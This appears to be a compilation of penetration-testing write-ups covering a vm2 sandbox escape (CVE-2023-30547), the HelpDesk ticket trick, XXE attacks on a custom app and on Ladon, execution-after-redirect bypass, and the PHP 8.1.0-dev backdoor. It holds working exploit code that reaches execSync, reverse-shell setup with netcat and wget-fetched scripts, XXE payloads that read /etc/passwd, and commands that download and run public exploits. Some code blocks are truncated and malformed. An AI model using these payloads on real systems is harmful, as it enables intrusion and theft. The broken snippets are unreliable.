(CVE-2023-30547)[Exploitation] Node.js vm2 module code execution RCE

Node.js vm2 module could allow a remote attacker to execute arbitrary code on the system, caused by a sandbox escape flaw in the handleException() function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in host context.

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside `handleException()` which can be used to escape the sandbox and run arbitrary code in host context.


As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

  • For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
  • handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object's prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Affected Products

Node.js vm2 3.9.16


1. Having an application that can execute nodejs code in a “secure” VM using (vm2) module, we can execute the following code, replace execSync('<command>); with the OS command you want

//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");

//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();

// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command

// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.

2. For testing purposes I will test ping command

  • execSync('ping -c 2');

3. First I will capture traffic on my network interface

  • ifconfig
  • sudo tcpdump -i tun0 icmp

4. Now execute the code in the web console that runs nodejs (3.9.16) vm2

5. looking at the CLI console in our machine, we see the traffic reaching us

6. Knowing the command executed, and we receive traffic we can try a reverse shell, first, start a listener in your local machine

  • nc -lvp 4444

7. now execute a bash reverse shell command I created a bash file in my local computer, and transferred it via web service

  • cat shell1.sh
  • python3 -m http.server 8888

8. Then from the website I transferred the shell1.sh into the web server

  • execSync('wget');
  • execSync('ls -la');

9. Then I ran a command to execute the script

  • execSync('whereis bash');
  • execSync('/usr/bin/bash shell1.sh');


This vulnerability was patched in the release of version `3.9.17` of `vm2`. There are no known workarounds for this vulnerability. Users are advised to upgrade.








[Exploitation] Ticket Trick: Exploiting Email Address Verification

In today's interconnected world, email addresses play a crucial role in verifying user identity. However, a vulnerability known as the "ticket trick" has emerged, potentially granting unauthorized individuals access to internal services of organizations. In this article, we will delve into the nature of the ticket trick vulnerability, explore how it can be abused, and discuss effective remedies to protect against this security issue.


The ticket trick vulnerability arises when non-employee users gain access to email addresses associated with a corporate domain, such as @Company.com. This vulnerability is particularly concerning as many cloud services rely on email addresses as "proof of employment." By leveraging this vulnerability, unauthorized individuals can manipulate email address verification mechanisms to gain access to internal services like GitHub, Slack, Confluence, and others.

How to Abuse the Vulnerability:

  • Identifying the Corporate Domain: The first step in exploiting the ticket trick vulnerability is identifying an organization that uses a corporate domain for email addresses. Common examples include @Company.com or @OrganizationName.com.
  • Gaining Access to Email Addresses: Non-employee users need to find a way to gain access to email addresses associated with the corporate domain. This might involve exploiting misconfigurations, overlooked email aliases, or weak access controls.
  • Cloud Service Account Creation: Next, the non-employee user proceeds to create an account on a cloud service that relies on email verification as proof of employment. During the account creation process, they provide an email address within the corporate domain.
  • Granting Access to Internal Services: The cloud service, considering the email address as proof of employment, grants access to internal services meant for employees. This could include code repositories, collaboration platforms, project management tools, and more.

Example #1

HelpDesks usually allow users to email to a temporary email address provided by HelpDesks to update the status of an open ticket. If though the corporate domain is used for tickets, this "feature" allows non-

employee users to have access to @Company.com email addresses. Many cloud services take email

addresses as "proof of employment" and may grant access to internal services like GitHub, Slack,

Confluence, etc. Let’s try to create a new Ticket.

1. In this case we have an app that offers a service to open a ticket with support

  • Click on “Open a New Ticket”

2. Now fill in the information to open the ticket

  • Email Address: vry4n@test.com
  • Full Name: Unknown
  • Phone Number: 8758907777
  • Help Topic: Contact us
  • Issue Summary: I need technical support

3. Once the request is submitted, this application provides us with a temporary email

  • 5774642@delivery.htb

4. In this case we can check the ticket status providing the new temporary email

  • Click on “Check Ticket Status”

5. We are displayed with an email inbox

6. Now try to access any internal site and use this temporary email to sign in

  • 5774642@delivery.htb
  • Password: AdminAdmin!23

7. After submitting the register form, we received an email to our temporary e-mail address 5774642@delivery.htb

8. Click on the activation email form, and then use the credentials to log in, we manage to log in as an internal user, as we used an internal account to authenticate

9. Looking through the channels we found an internal chat that includes some credentials

Remedy recommendations

  • Multi-Factor Authentication (MFA): Implementing MFA can significantly enhance security. Require additional verification steps beyond email address confirmation, such as SMS verification, hardware tokens, or biometric authentication.
  • Identity and Access Management (IAM): Employ a robust IAM system that ensures access controls are well-defined and continuously audited. Regularly review and revoke access for non-employees or accounts associated with inactive or compromised email addresses.
  • Custom Verification Processes: Cloud services should develop custom verification processes that go beyond relying solely on email addresses. Consider additional identity verification methods, such as employment contracts, digital certificates, or HR validation.
  • Security Awareness and Training: Educate employees and users about the risks associated with email address verification and the potential impact of the ticket trick vulnerability. Encourage them to report any suspicious activity and maintain strong cybersecurity practices.








Exploiting XML External Entities (XXE) in custom application

XXE vulnerabilities can be exploited by attackers to manipulate XML parsing functionality, potentially leading to unauthorized access, sensitive data exposure, or even remote code execution. This article aims to provide a comprehensive guide to understanding and exploiting XXE vulnerabilities, shedding light on the techniques employed by attackers and helping security professionals and developers bolster their defenses.

For more information visit our publication named XML external entity (XXE) injection

#1 Example: exploiting a custom XML web app

This application accepts users’ input, and processes them as XML. The application doesn’t have any security restrictions, so, it is vulnerable to XXE attacks

1. First step is to use the application normally, and, explore its functionality


2. Entering data we see it provides some output, based on what we entered.

3. Now, we will try to capture the request using BurpSuite or any other web proxy you may have, I noticed the following

  • The application is calling /tracker_diRbPr00f314.php to send the data
  • The contents of the data variable seem to be URL encoded

4. The response doesn’t contain anything interesting other than the data we sent

5. Now we will try to use BurpSuite decoder module, to decode the data that has been sent in the Request

Encoded data

  • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U%2BQ1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M%2BCgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B

Decoded data

  • PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+

6. It looks the result is base64 encode, so now we will try to decode this output using Linux

  • echo 'PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4kMjAuMDAwPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+' | base64 -d

7. Now, we can see the output is XML, we can know try to run a simple XXE query to see if we get text printed on screen, so send the request to Repeater


1. Being able to repeat this request, we will proceed to modify the current data sent, now that it has been decoded, edit it and then encode it using base64

  • vi exploit.xml
  • cat exploit.xml
  • cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgIlZrOVNlY3VyaXR5Ij4KXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5CdWZmZXIgT3ZlcmZsb3c8L3RpdGxlPgoJCTxjd2U+Q1ZFLTIwMjMtMDAwMDwvY3dlPgoJCTxjdnNzPjEwLjA8L2N2c3M+CgkJPHJld2FyZD4meHhlOzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0PiAgICAK

2. Now proceed to use BurpSuite decoe module to encode this in URL format

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%49%6c%5a%72%4f%56%4e%6c%59%33%56%79%61%58%52%35%49%6a%34%4b%58%54%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%43%64%57%5a%6d%5a%58%49%67%54%33%5a%6c%63%6d%5a%73%62%33%63%38%4c%33%52%70%64%47%78%6c%50%67%6f%4a%43%54%78%6a%64%32%55%2b%51%31%5a%46%4c%54%49%77%4d%6a%4d%74%4d%44%41%77%4d%44%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6a%45%77%4c%6a%41%38%4c%32%4e%32%63%33%4d%2b%43%67%6b%4a%50%48%4a%6c%64%32%46%79%5a%44%34%6d%65%48%68%6c%4f%7a%77%76%63%6d%56%33%59%58%4a%6b%50%67%6f%4a%43%54%77%76%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%69%41%67%49%43%41%4b%0a

3. Now, we proceed to use this in our request instead of the original data, modify the data= variable data, our data in the external entity should be printed. (Vk9Security)


1. Now that we know we can run external entities, we can proceed to try to read a common file (/etc/passwd) using the file method

  • vi exploit.xml
  • cat exploit.xml
  • cat exploit.xml | base64

Our encoded data is: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPgpdPgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPkJ1ZmZlciBPdmVyZmxvdzwvdGl0bGU+CgkJPGN3ZT5DVkUtMjAyMy0wMDAwPC9jd2U+CgkJPGN2c3M+MTAuMDwvY3Zzcz4KCQk8cmV3YXJkPiZ4eGU7PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ICAgIAo=

2. Now URL encode this base64 string using burp suite decoder module

The URL encode ouput is: %50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%77%6f%38%49%55%56%4f%56%45%6c%55%57%53%42%34%65%47%55%67%55%31%6c%54%56%45%56%4e%49%43%4a%6d%61%57%78%6c%4f%69%38%76%4c%32%56%30%59%79%39%77%59%58%4e%7a%64%32%51%69%50%67%70%64%50%67%6f%4a%43%54%78%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%6b%4a%50%48%52%70%64%47%78%6c%50%6b%4a%31%5a%6d%5a%6c%63%69%42%50%64%6d%56%79%5a%6d%78%76%64%7a%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%44%56%6b%55%74%4d%6a%41%79%4d%79%30%77%4d%44%41%77%50%43%39%6a%64%32%55%2b%43%67%6b%4a%50%47%4e%32%63%33%4d%2b%4d%54%41%75%4d%44%77%76%59%33%5a%7a%63%7a%34%4b%43%51%6b%38%63%6d%56%33%59%58%4a%6b%50%69%5a%34%65%47%55%37%50%43%39%79%5a%58%64%68%63%6d%51%2b%43%67%6b%4a%50%43%39%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%49%43%41%67%49%41%6f%3d%0a

3. Now use this special crafted encoded XML file in BurpSuite repeater, modifying the data= variable data

4. As you can see the contents of /etc/passwd are displayed on the response









Execution After Redirect (EAR)

The web application sends a redirect to another location, but instead of exiting, it executes additional code. This weakness could affect the control flow of the application and allow execution of untrusted code.

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

The PHP code checks if the user IP is allowed in $ipAllowList or not. If not, it will redirect them to the login page located at /login. But there’s no one telling the program to stop executing all the code after the redirect. So, all the code that should run only when a user has a valid session will also get executed. If we use a proxy tool such as BurpSuite or ZAP, we can modify the response of 302 Found redirect into a 200 OK response.


Consider a web application that has login functionality. Users who have an account can access content/features in this web application only by logging in. Unauthenticated users are redirected to the login page for them to first log in and get an authenticated session.

  • Send to repeater.
  • View response.

1. I ran a directory discovery using dirsearch and noticed a lot of redirects

2. I decided to access /accounts.php, and indeed got redirected to login.php

3. I decided to capture the request/response using a proxy (BurpSuite), send the request to Repeater and resend it.



Note: here we can see the HTTP code 302 redirection, in location we can see the redirection to login.php

4. In the same response we can see the code of accounts.php, instead of login.php

5. In order to bypass this in the browser, go to (Proxy – Proxy Settings – Match and replace rules), send traffic through the proxy

  • Type: Response header
  • Match: 30[12] Found #match either 301 or 302
  • Replace: 200 OK
  • Comment: VK9 redirection bypass
  • Check “Regex match”

6. Now that the redirection rule has been set to bypass 301-302 HTTP code, visit the page we’re trying to access /accounts.php



Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.









PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.


1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response

  • curl --head

2. This can also be gotten from BurpSuite, in the server response


Script 1 (PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution)

1. This script automatically exploits user-agentt, and provides a shell (https://www.exploit-db.com/exploits/49933)

  • curl https://www.exploit-db.com/download/49933 -o exploit.py
  • ls -l exploit.py

2. Run it against the vulnerable web site

  • python3 exploit.py
  • whoami

Script 2 (Reverse Shell)

1. Download the script from (https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py)

2. I named the file as exploit2.py

  • python3 exploit2.py -h

3. Start a listener, in the attacker machine

  • nc -lvp 3333

4. Run the command with the following data

  • python3 exploit2.py 3333

5. Check the listener, and there should be a connection back


Upgrade to a newer version, visit the vendor information for more info






(XXE) Ladon Framework for Python – XML External Entity Expansion – CVE-2019-1010268

Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

  • ladon-2.7-ctl testserve helloservice.py -p 8000

Note: This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

  • read local files
  • forge server side requests
  • overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

  • The parser can make a request and include the content at the specified URI inside of the XML document.
  • Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version="1.0"?>


[<!ENTITY passwd SYSTEM "file:///etc/passwd">









Vulnerable software versions

Ladon: 0.6.1 - 1.0.4

Versions 0.9.40 and below are affected


1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (https://www.exploit-db.com/exploits/43113)

  • searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>


[<!ENTITY passwd "Vry4n">


<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"




<uid xsi:type=\"xsd:string\">&passwd;</uid>



</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -


1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server using file://

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>


[<!ENTITY passwd SYSTEM "file:///etc/passwd">


<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"





<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">

<uid xsi:type=\"xsd:string\">&passwd;</uid>



</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

2. The result of the curl command should be the passwd file in linux

3. In this particular scenario, we noticed a /webdav folder, so we will try to read users file, looking for user/password info

  • We need to search within /var/www/html/webdav/passwd.dav


No remedy available as of November 3, 2017.

Alternative remedy

The Python package defusedxml [2] can be used to monkey patch the code to

prevent XML vulnerabilities. The following workaround can be included in the

code, which prevents exploitation:

import defusedxml